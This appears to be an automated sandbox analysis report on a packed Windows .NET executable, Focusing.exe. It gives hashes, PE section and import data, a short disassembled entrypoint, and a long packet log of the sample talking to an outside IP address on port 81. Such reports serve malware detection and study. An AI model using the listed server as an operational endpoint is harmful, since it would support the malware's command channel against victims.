SHA256:	25cd127b9d559d6754269ecc116d35be66aca027640bcd71a836567c32b946c5
SHA512:	8e36767cc8a6967303e50ff4ec324ca4457503a8ed0c68eab5da1d4c0e3ced9d95a0697649a4ef762463c930d78e4751a990801491f11ed3ae26db30169ac6b3
SSDEEP:	49152:dJbsncoSlFOGUgl6az0Ovf8fYgeelCFNaULL:vgnROFdJfgPlGdL
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....c...............0.............. ... ........@.. ........................B.. ..xf<....................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x402000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0xF66396F6 [Wed Dec 29 00:04:06 2100 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	d7dd6fa75115d9909f747434e40fff68

Entrypoint Preview

Instruction
push 007DE001h
call 00007F321477EAE6h
ret
ret
xor byte ptr [edi], bh
in eax, dx
idiv dword ptr [ebx]
xchg eax, ebp
call 00007F31CC15D88Dh
xor eax, 1DDC1399h
stc
leave
cmpsb
movsd
je 00007F321477EB2Bh
test dh, dl
mov cl, ADh
mov ah, CBh
push ebx
mov al, 39h
or al, byte ptr [esi-58h]
mov esp, E974A545h
cmp eax, 91E01EF8h
mov ecx, 3C3B1183h
cmp eax, 54D83736h
retn 3FB4h
or byte ptr [esi], dl
push ecx
mov ah, 0000000Eh
sub cl, byte ptr [edx-7Ah]
test ebx, B21D40C0h
mov edi, 6BAFEDDAh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3dec7c	0xd8	.R03nlBA
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x26000	0x1f68	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x100000

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x2000	0x1a000	0x9000	False	1.00056966146	data	7.99537276593	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
	0x1c000	0x2000	0x400	False	1.0107421875	data	7.7906284189	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
	0x1e000	0x2000	0x400	False	0.6533203125	Sky archive data	5.40507547942	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
	0x20000	0x4000	0xa00	False	1.004296875	data	7.92840934453	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
	0x24000	0x2000	0x200	False	1.021484375	data	7.52976471799	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x26000	0x2000	0x2000	False	0.347900390625	data	4.72058195566	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
	0x28000	0x3b6000	0x13fc00	unknown	unknown	unknown	unknown	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.R03nlBA	0x3de000	0x4c000	0x4a800	False	0.987665163591	data	7.9184571052	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.adata	0x42a000	0x2000	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_DIALOG	0x26398	0xac	data	English	United States
RT_DIALOG	0x26454	0xbc	data	English	United States
RT_DIALOG	0x26520	0x17c	data	English	United States
RT_DIALOG	0x266ac	0x84	data	English	United States
RT_DIALOG	0x26740	0xb0	data	English	United States
RT_DIALOG	0x26800	0xe8	data	English	United States
RT_DIALOG	0x268f8	0x84	data	English	United States
RT_DIALOG	0x2698c	0x110	data	English	United States
RT_DIALOG	0x26aac	0xac	data	English	United States
RT_STRING	0x26b68	0x12	ASCII text, with no line terminators	English	United States
RT_STRING	0x26b8c	0x11	ASCII text, with no line terminators	English	United States
RT_STRING	0x26bb0	0xa	ASCII text, with no line terminators	English	United States
RT_STRING	0x26bcc	0x6	ASCII text, with no line terminators	English	United States
RT_STRING	0x26be4	0xe	ASCII text, with no line terminators	English	United States
RT_STRING	0x26c04	0x5	ASCII text, with no line terminators	English	United States
RT_RCDATA	0x26c1c	0x1ee	ASCII text
RT_RCDATA	0x26e1c	0x1f1	ASCII text
RT_RCDATA	0x27020	0x2fa	ASCII text
RT_RCDATA	0x2732c	0x209	ASCII text
RT_RCDATA	0x27548	0x343	ASCII text
RT_RCDATA	0x2789c	0x12f	ASCII text
RT_RCDATA	0x279dc	0x132	ASCII text
RT_VERSION	0x27b20	0x24c	data
RT_MANIFEST	0x27d7c	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators	English	United States

Imports

DLL	Import
kernel32.dll	GetProcAddress, GetModuleHandleA, LoadLibraryA
mscoree.dll	_CorExeMain
oleaut32.dll	VariantChangeTypeEx
kernel32.dll	RaiseException

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright
Assembly Version	0.0.0.0
InternalName	Focusing.exe
FileVersion	0.0.0.0
ProductVersion	0.0.0.0
FileDescription
OriginalFilename	Focusing.exe

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 28, 2021 18:13:16.110646963 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:16.140608072 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:16.140748978 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:16.406343937 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:16.436089039 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:16.436904907 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:16.478581905 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:17.186233997 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:17.218682051 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:17.259921074 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:24.001426935 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:24.034004927 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:24.034053087 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:24.034125090 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:24.034199953 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:24.088592052 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:27.314778090 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:27.345993042 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:27.373321056 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:27.403867006 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:27.405210972 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:27.435682058 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:27.479542017 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:27.484041929 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:27.514245033 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:27.514280081 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:27.515346050 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:27.557655096 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:27.604295015 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:27.634031057 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:27.635092974 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:27.682801008 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:28.796813965 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:28.827291965 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:28.852277040 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:28.883030891 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:28.886130095 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:28.916579962 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:28.918070078 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:28.948654890 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:28.974728107 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:29.005259991 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:29.019361019 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:29.049976110 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:29.067524910 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:29.098145962 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:29.151544094 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:29.644922018 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:29.675662041 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:29.729732990 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:30.029716015 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:30.060405970 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:30.082362890 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:30.113023996 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:30.167264938 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:31.010494947 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:31.041552067 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:31.089204073 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:31.338640928 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:31.369294882 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:31.417498112 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.133042097 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.162955046 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.163001060 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.163137913 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.163141966 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.163192987 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.163341999 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.163366079 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.163393021 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.163472891 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.163477898 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.163507938 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.163558960 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.192895889 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.192991972 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.193067074 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.193098068 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.193169117 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.193197012 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.193231106 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.193276882 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.193341970 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.193370104 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.193418980 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.193458080 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.193500996 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.193578005 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.193603039 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.193674088 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.193706989 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.193742037 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.193823099 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.193850040 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.193871975 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.193970919 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.194041014 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.194149017 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.194217920 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.194546938 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.222877026 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.222907066 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.223006964 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.223087072 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.223133087 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.223133087 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.223213911 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.223248959 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.223328114 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.223443031 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.223552942 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.223570108 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.223683119 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.223789930 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.223898888 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.224106073 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.224258900 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.224286079 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.224354982 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.224526882 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.224551916 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.224576950 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.224678040 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.224735022 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.224821091 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.224865913 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.224982977 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.225013018 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.225100040 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.225188971 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.225270987 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.225351095 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.225429058 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.225509882 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.225526094 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.225588083 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.225800991 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.225869894 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.225980043 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.252695084 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.252722979 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.252831936 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.252958059 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.253030062 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.253154039 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.253226042 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.253391981 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.253504992 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.253633022 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.253772020 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.253798962 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.254199028 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.254317045 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.255023003 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.255139112 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.255248070 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.255438089 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.255506039 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.255574942 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.255642891 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.255822897 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.255892992 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.255917072 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.256026983 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.256180048 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.256247997 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.256319046 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.256386995 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.256535053 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.256560087 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.256751060 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.256819963 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.256911039 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.257071972 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.257096052 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.257453918 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.257561922 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.284002066 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.284035921 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.284061909 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.284087896 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.284159899 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.284238100 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.284369946 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.284475088 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.284648895 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.284728050 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.284861088 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.284974098 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.285053968 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.285203934 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.285295010 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.285408974 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.285528898 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.285604954 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.285732031 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.285892010 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.286016941 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.286122084 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.286216974 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.287058115 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.287128925 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.287209988 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.287297010 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.287323952 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.287461042 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.287590981 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.287620068 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.287625074 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.287734985 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.287735939 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.287813902 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.287883043 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.287991047 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.288100004 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.288166046 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.288275003 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.288301945 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.288409948 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.288516998 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.288590908 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.288659096 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.288767099 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.288836002 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.288929939 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.317460060 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.317503929 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.317528963 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.317637920 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.317730904 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.317883968 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.317984104 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.317991018 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.318162918 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.318165064 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.318247080 CET	49781	81	192.168.2.4	185.82.202.246
Dec 28, 2021 18:13:32.318367004 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.318475008 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.318542957 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.318691969 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.318717957 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.318825006 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.318974972 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.319044113 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.319070101 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.319219112 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.319287062 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.319394112 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.319504023 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.347798109 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.347840071 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.347867012 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.347965956 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.348057032 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.348222017 CET	81	49781	185.82.202.246	192.168.2.4
Dec 28, 2021 18:13:32.348259926 CET	81	49781	185.82.202.246	192.168.2.4
